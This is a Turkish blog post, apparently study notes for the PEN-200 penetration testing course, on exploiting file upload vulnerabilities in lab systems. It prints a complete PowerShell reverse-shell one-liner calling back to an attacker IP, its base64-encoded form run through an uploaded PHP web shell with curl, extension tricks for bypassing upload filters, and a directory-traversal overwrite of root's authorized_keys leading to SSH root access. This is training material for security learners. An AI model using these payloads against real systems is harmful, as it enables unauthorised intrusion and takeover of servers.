PEN-200

File Upload Vulnerabilities | PEN-200

Merhaba. Offensive Security tarafında yer alan “PEN-200: Penetration Testing with Kali Linux” sertifika eğitimi yazı serisinin yirmi birinci yazısı olan “File Upload Vulnerabilities” konusunu ele alacağım. 

Birçok web uygulaması dosya yükleme (file upload) işlevi sağlar. Bu yazıda, temel sisteme erişmek veya kod yürütmek için File Upload güvenlik açıklarını nasıl tanımlayacağımızı, bunlardan nasıl yararlanacağımızı öğreneceğiz. Genel olarak File Upload (Dosya Yükleme) güvenlik açıklarını üç kategoriye ayırabiliriz:

  • İlk kategori, web uygulaması tarafından çalıştırılabilen dosyaları yüklememize olanak sağlayan güvenlik açıklarından oluşur. Örneğin, PHP’nin etkin olduğu bir web sunucusuna bir PHP betiği yükleyebiliyorsak, betiği tarayıcı veya curl aracılığıyla erişerek çalıştırabiliriz. File Inclusion yazılarında gözlemlediğimiz gibi, PHP dışında bu tür güvenlik açıklarından diğer çerçevelerde veya sunucu tarafı kodlama dillerinde de yararlanabiliyoruz.
  • İkinci kategori ise dosya yükleme mekanizmasını Directory Traversal gibi başka bir güvenlik açığıyla birleştirmemizi gerektiren güvenlik açıklarından oluşuyor. Örneğin, web uygulaması Dizin Geçişine karşı savunmasızsa, dosya yükleme isteğinde göreceli bir yol kullanabilir ve authorized_keys gibi dosyaların üzerine yazmayı deneyebiliriz. Ayrıca dosya yükleme mekanizmalarını XML External Entity (XXE) veya Cross Site Scripting (XSS) saldırılarıyla da birleştirebiliriz. Örneğin, SVG dosya türüne sahip bir profile avatar yüklememize izin verildiğinde, dosya içeriğini görüntülemek ve hatta kod yürütmek için bir XXE saldırısı yerleştirebiliriz.
  • Üçüncü kategori kullanıcı etkileşimine dayanır. Örneğin iş başvuruları için bir yükleme formu bulduğumuzda, zararlı macro entegreli .docx formatında bir CV yüklemeyi deneyebiliriz. Bu kategori, yüklediğimiz dosyaya bir kişinin erişmesini gerektirdiğinden, bu yazıda diğer iki tür dosya yükleme güvenlik açığına odaklanacağız.

Yürütülebilir Dosyaları Kullanma

Bu bölümde, web sunucusu tarafından çalıştırılacak dosyaları yüklememize olanak tanıyan bir dosya yükleme güvenlik açığını inceleyeceğiz. Directory Traversal ve File Upload güvenlik açıklarında olduğu gibi, File Upload güvenlik açıklarının nasıl tanımlanacağını anlamamız gerekir.

Web uygulamasına ve kullanımına bağlı olarak yükleme mekanizmalarını bulmak için tahminler yapabiliriz. Web uygulaması bir İçerik Yönetim Sistemi (CMS) ise genellikle profilimiz için bir avatar yükleyebilir veya ekli dosyalar içeren blog gönderileri ve web sayfaları oluşturabiliriz. Hedefimiz bir şirketin web sitesi ise, yükleme mekanizmalarını genellikle kariyer bölümlerinde veya şirkete özel kullanım durumlarında bulabiliriz. Örneğin hedef site bir avukatın ofisine aitse dava dosyaları için bir yükleme mekanizması söz konusu olabilir. Bazen dosya yükleme mekanizmaları kullanıcılar için açık olmayabilir, bu nedenle bir web uygulamasıyla çalışırken enumeration aşamasını asla atlamamalıyız.

Bu örnekte, kod yürütmeyi (code execution) gerçekleştirmek ve reverse shell elde etmek için dosya yükleme mekanizmasını kötüye kullanacağız.

Bu zafiyet için laboratuvar olarak OWASP Mutillidae 2 sistemini kullanacağım. Test için dosya1.txt isminde bir text dosyasını yükleyip test ettim. İlgili dizine gidip dosya içeriğini görüntüleyebiliyorum. Daha sonra bir web shell yüklemeyi deneyeceğim.

PHP Reverse Shell dosyasını da upload edebildik ancak bu kısımda farklı engellemeler olabilir. Örneğin, sadece görsel dosyalar yüklenebilir. Php vb. dosyaların yüklenmesi engellenebilir. Bu gibi engelleri aşmak için dosya uzantılarını değiştirebiliriz. Bir php dosyası yüklemek için pHP, phtml, phps, php7 vb. gibi. Veya dosyayı görsel gibi yüklemek için backdoor.php.jpeg isminde upload edebiliriz. Bu gibi engelleri aşmak için ne tür bir engelleme olduğunu anlamak çok önemlidir. Bir çok teknik bulunmaktadır.

Dosyayı yükledikten sonra kali tarafında dinlemede bekliyorum ve dosyayı zafiyetli uygulamada çalıştırdığımda bağlantıyı sağlıyorum.

Görüldüğü üzere bağlantıyı sağladık. Bu kısımda hedef sunucu işletim sistemi Linux ancak Windows sistemlerde bulunmaktadır. Bu kısımdan sonra eğitim dokümanındaki Windows görsellerinden devam edeceğim.

Reverse shell aldığımız sistem Windows işletim sistemine ait olsaydı reverse shell için PowerShell tek satırını kullanacaktık. Reverse shell tek satırlık bir dizi özel karakter olduğundan, dizeyi base64 ile kodlayacağız. Kodlamayı gerçekleştirmek için PowerShell veya çevrimiçi bir dönüştürücü kullanabiliriz.

Bu gösterimde, ters kabuk oneliner’ını kodlamak için Kali makinemizde PowerShell’i kullanacağız. Öncelikle ters kabuğun tek satırlık kısmını string olarak depolamak için kullanılacak $Text değişkenini oluşturalım. Daha sonra, $Text değişkeninin içeriğini kodlamak için Encoding sınıfından Convert yöntemini ve Unicode özelliğini kullanabiliriz.

kali@kali:~$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS> $Text = '$client = New-Object
System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | OutString );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Leng
th);$stream.Flush()};$client.Close()'
PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
PS> $EncodedText =[Convert]::ToBase64String($Bytes)
PS> $EncodedText
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAF
MAbwBjAGsAZQB0
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjA
GwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
PS> exit

$EncodedText değişkeni kodlanmış ters kabuk tek satrını içerir. Yüklenen simple-backdoor.pHP aracılığıyla kodlanmış tek satırı yürütmek için curl’u kullanalım. Powershell komutu için base64 kodlu stringi enc parametresini kullanarak ekleyebiliriz. Ayrıca boş alanlar için URL kodlamasını kullanmamız gerekecek.

kali@kali:~$ curl http://192.168.50.189/meteor/uploads/simplebackdoor.pHP?cmd=powershell%20-
enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUA
dAAuAFMAbwBjAGsAZQB0
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjA
GwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

Komutu çalıştırdıktan sonra Netcat’in dinlediği ikinci terminale gelen bir ters kabuk almalıyız.

kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.3] from (UNKNOWN) [192.168.50.189] 50603
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
 Connection-specific DNS Suffix . :
 IPv4 Address. . . . . . . . . . . : 192.168.50.189
 Subnet Mask . . . . . . . . . . . : 255.255.255.0
 Default Gateway . . . . . . . . . : 192.168.50.254
PS C:\xampp\htdocs\meteor\uploads> whoami
nt authority\system

Yukarıda yer alan çıktıda görüldüğü üzere base64 kodlu komut aracılığıyla bir reverse shell aldığımızı gösteriyor. Bu gösterimde bir php web shell kullandık fakat Kali Linux içerisinde yer alan diğer web shelleri görmek için /usr/share/webshells/ dizinine gidebiliriz.

Web shellerin dosya türlerinin bir filtre veya yükleme mekanizması yoluyla kara listeye alınabileceğinin bilincinde olmalıyız. Bu gibi durumlarda filtreyi bu bölümdeki gibi bypass etmeyi deneyebiliriz. Ancak dikkate alınması gereken başka seçenekler de var. Dosyaları işleyen ve yöneten web uygulamaları genellikle kullanıcıların dosyaları yeniden adlandırmasına veya değiştirmesine olanak tanır. Bunu, .txt gibi masum bir dosya türüne sahip bir dosya yükleyerek ve ardından dosyayı yeniden adlandırarak web kabuğunun orijinal dosya türüne geri döndürerek kötüye kullanabiliriz.

Yürütülemeyen Dosyaları Kullanma

Bu bölümde, bir saldırganın yüklenen dosyaları yürütmesinin bir yolu olmasa bile, dosya yüklemelerindeki kusurların neden ciddi sonuçlar doğurabileceğini inceleyeceğiz. Sınırsız bir dosya yükleme mekanizması bulduğumuz ancak bundan yararlanamadığımız senaryolarla karşılaşabiliriz. Bunun bir örneği, herhangi bir dosyayı yükleyebildiğimiz ancak sisteme erişim sağlamak için bundan yararlanamadığımız Google Drive‘dır. Bu gibi durumlarda dosya yükleme mekanizmasını kötüye kullanmak için Directory Traversal gibi başka bir güvenlik açığından yararlanmamız gerekiyor.

Hedef web uygulamasında index.php ve admin.php dosyalarının artık mevcut olmadığını görüyoruz. Web sunucusunun artık PHP kullanmadığını rahatlıkla varsayabiliriz. Bir metin dosyası yüklemeyi deneyelim. İstekleri yakalamak için Burp’u başlatacağız ve önceki bölümdeki test.txt dosyasını yüklemek için web uygulamasındaki formu kullanacağız.

Metin dosyasının başarıyla yüklendiğini görüyoruz.

Bir dosya yükleme formunu test ederken, bir dosya iki kez yüklendiğinde ne olacağını her zaman belirlememiz gerekir. Web uygulaması dosyanın zaten mevcut olduğunu gösteriyorsa, bu yöntemi bir web sunucusunun içeriğine kaba kuvvet uygulamak için kullanabiliriz. Alternatif olarak, web uygulamasının bir hata mesajı göstermesi durumunda bu, kullanılan programlama dili veya web teknolojileri gibi değerli bilgiler sağlayabilir.

Burp’ta test.txt yükleme isteğini inceleyelim. HTTP geçmişinde POST isteğini seçeceğiz, Repeater’a göndereceğiz ve Gönder’e tıklayacağız.

Yukarıda herhangi bir yeni veya değerli bilgi olmadan, tarayıcıda aldığımız çıktının aynısını aldığımızı göstermektedir. Daha sonra web uygulamasının dosya adında göreceli bir yol belirtmemize ve web kökü dışında Directory Traversal aracılığıyla bir dosya yazmamıza izin verip vermediğini kontrol edelim. Bunu, istekteki “filename” parametresini ../../../../../../../test.txt içerecek şekilde değiştirerek ve ardından gönder’i tıklayarak yapabiliriz.

Yanıt alanı bize çıktının ../ dizilerini içerdiğini gösterir. Ne yazık ki, dosyayı yerleştirmek için ilgili yolun kullanılıp kullanılmadığını bilmenin bir yolu yok. Web uygulamasının yanıtının yalnızca dosya adımızı tekrarlaması ve onu dahili olarak sterilize etmesi mümkündür. Şimdilik, başka bir saldırı vektörü bulamadığımız için dosyayı yerleştirmek için ilgili yolun kullanıldığını varsayalım. Eğer varsayımımız doğruysa, körü körüne dosyaların üzerine yazmayı deneyebiliriz, bu da bizi sisteme erişime yönlendirebilir. Gerçek hayattaki bir sızma testinde körü körüne dosyaların üzerine yazmanın veri kaybına veya üretim sisteminde maliyetli kesintilere yol açabileceğinin farkında olmalıyız. İlerlemeden önce web sunucusu hesaplarını ve izinlerini kısaca gözden geçirelim.

Apache, Nginx veya diğer özel web sunucularını kullanan web uygulamaları genellikle Linux’taki www-data gibi belirli kullanıcılarla çalışır. Geleneksel olarak Windows’ta IIS web sunucusu, düşük ayrıcalıklara sahip, parolasız yerleşik bir Windows kimliği olan bir Ağ Hizmeti hesabı olarak çalışır. IIS sürüm 7.5’ten başlayarak Microsoft, IIS Uygulama Havuzu Kimliklerini kullanıma sundu. Bunlar, uygulama havuzlarına göre gruplandırılmış web uygulamalarını çalıştıran sanal hesaplardır. Her uygulama havuzunun kendi havuz kimliği vardır; bu, web uygulamalarını çalıştıran hesaplar için daha kesin izinlerin ayarlanmasını mümkün kılar.

Yöneticiler ve geliştiriciler, kendi web sunucularını içeren programlama dillerini kullanırken, herhangi bir izin sorununu önlemek için uygulamaları root veya Administrator olarak çalıştırarak web uygulamasını genellikle herhangi bir ayrıcalık yapısı olmadan dağıtırlar. Bu, bir dosya yükleme güvenlik açığında root veya Administrator ayrıcalıklarından yararlanıp yararlanamayacağımızı her zaman doğrulamamız gerektiği anlamına gelir.

Root için home dizinindeki authorized_keys dosyasının üzerine yazmayı deneyelim. Eğer bu dosya bizim kontrol ettiğimiz bir özel anahtarın ortak anahtarını içeriyorsa, kök kullanıcı olarak sisteme SSH üzerinden erişebiliriz. Bunu yapmak için, ssh-keygen ile bir SSH anahtar çifti ve daha önce oluşturulan ortak anahtarı içeren authorized_keys adında bir dosya oluşturacağız.

kali@kali:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): fileup
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in fileup
Your public key has been saved in fileup.pub
...
kali@kali:~$ cat fileup.pub > authorized_keys

Artık authorized_keys dosyası ortak anahtarımızı içerdiğine göre, onu ../../../../../../../root/.ssh/authorized_keys göreceli yolunu kullanarak yükleyebiliriz. Dosya yükleme formunda authorized_keys dosyamızı seçeceğiz ve Upload butonuna basmadan önce Burp’ta intercepti etkinleştireceğiz. Burp, ele geçirilen isteği gösterdiğinde, dosya adını buna göre değiştirebilir ve forward butonuna basabiliriz.

authorized_keys dosyamız için belirtilen göreceli yolu gösterir. Eğer root kullanıcının authorized_keys dosyasının üzerine başarılı bir şekilde yazdıysak, özel anahtarımızı kullanarak sisteme SSH aracılığıyla bağlanabiliyor olmalıyız. Çoğu zaman root kullanıcısının SSH erişim izinlerine sahip olmadığını belirtmeliyiz. Ancak, örneğin /etc/passwd içeriğini görüntüleyerek diğer kullanıcıları kontrol edemediğimiz için bu bizim tek seçeneğimizdir.

Hedef sistem 2222 numaralı portta SSH sunucusu çalıştırmaktadır. authorized_keys dosyasındaki public anahtarın ilgili özel anahtarını kullanarak sisteme bağlanmayı deneyelim. Özel anahtarımızı belirtmek için -i parametresini ve bağlantı noktası için -p parametresini kullanacağız.

Directory Traversal yazısında hostun 2222 numaralı portuna bağlandık ve Kali sistemimiz uzak hostun host anahtarını kaydetti. Bu bölümün hedef sistemi farklı bir makine olduğundan SSH daha önce kaydettiği host anahtarını doğrulayamadığı için hata atacaktır. Bu hatayı önlemek için sisteme bağlanmadan önce known_hosts dosyasını sileceğiz. Bu dosya önceki SSH bağlantılarının tüm ana bilgisayar anahtarlarını içerir.

kali@kali:~$ rm ~/.ssh/known_hosts
kali@kali:~$ ssh -p 2222 -i fileup [email protected]
The authenticity of host '[example.com]:2222 ([192.168.50.16]:2222)' can't be
established.
ED25519 key fingerprint is SHA256:R2JQNI3WJqpEehY2Iv9QdlMAoeB3jnPvjJqqfDZ3IXU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
root@76b77a6eae51:~#

Authorized_keys dosyasının üzerine yazılması nedeniyle özel anahtarımızla başarıyla root olarak bağlanabildik. Yürütülebilir dosyaları yüklemek için dosya yükleme mekanizmasını kullanamayacağımız bir senaryoyla karşı karşıya kaldığımızda, yararlanabileceğimiz diğer vektörleri bulmak için yaratıcı olmamız gerekecek.

Bu yazınında bazı kısımlarında eğitim içeriğinden görseller vb. şeyler aldım. Tüm lablar birebir elimde olmadığı için bu şekilde kullanıyorum. Ayrıca eğitim içeriğinde yer alan anlatımları da Türkçeleştirerek ekliyorum. Bazı yazılarda unutmazsam bunu belirtiyorum. Bu yazı sersini yazmamdaki amaç hem Türkçe içerik olması hem de kendimi bu şekilde eğitmek.

PEN-200 serisinin yirmi birinci yazısının sonuna geldik. Başka yazılarda görüşmek üzere.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

two × two =

Başa dön tuşu